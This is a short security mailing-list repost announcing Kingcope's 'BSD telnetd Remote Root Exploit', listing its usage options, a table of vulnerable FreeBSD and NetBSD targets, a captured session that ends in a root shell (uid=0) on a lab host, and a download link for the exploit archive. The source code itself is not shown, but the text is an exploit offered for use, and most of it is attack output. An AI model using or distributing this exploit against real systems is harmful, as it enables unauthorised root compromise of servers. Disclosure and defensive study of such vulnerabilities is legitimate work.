This exploit was leaked on the Full Disclosure mailing list:

http://seclists.org/fulldisclosure/2012/Jun/404

BSD telnetd Remote Root Exploit *ZERODAY*
By Kingcope
Year 2011

usage: telnet [-4] [-6] [-8] [-E] [-K] [-L] [-N] [-S tos] [-X atype] [-c] [-d]
        [-e char] [-k realm] [-l user] [-f/-F] [-n tracefile] [-r] [-s
src_addr] [-u] [-P policy] [-y] <-t TARGET_NUMBER> [host-name
[port]]
TARGETS:
0 FreeBSD 8.2 i386
1 FreeBSD 8.0/8.1/8.2 i386
2 FreeBSD 7.3/7.4 i386
3 FreeBSD 6.2/6.3/6.4 i386
4 FreeBSD 5.3/5.5 i386
5 FreeBSD 4.9/4.11 i386
6 NetBSD 5.0/5.1 i386
7 NetBSD 4.0 i386
8 FreeBSD 8.2 amd64
9 FreeBSD 8.0/8.1 amd64
10 FreeBSD 7.1/7.3/7.4 amd64
11 FreeBSD 7.1 amd64
12 FreeBSD 7.0 amd64
13 FreeBSD 6.4 amd64
14 FreeBSD 6.3 amd64
15 FreeBSD 6.2 amd64
16 FreeBSD 6.1 amd64
17 TESTING i386
18 TESTING amd64
Trying 192.168.2.8...
Connected to 192.168.2.8.
Escape character is '^]'.
Trying SRA secure login:
*** EXPLOITING REMOTE TELNETD
*** by Kingcope
*** Year 2011
USING TARGET -- FreeBSD 8.2 amd64
SC LEN: 30
ALEX-ALEX
 6:36PM  up 5 mins, 1 user, load averages: 0.01, 0.15, 0.09
USER             TTY      FROM              LOGIN@  IDLE WHAT
kcope            pts/0    192.168.2.3       6:32PM     4 _su (csh)
FreeBSD h4x.Belkin 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Thu Feb 17
02:41:51 UTC 2011
root () mason cse buffalo edu:/usr/obj/usr/src/sys/GENERIC  amd64
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

Exploit:  http://www.exploit-db.com/sploits/19520.zip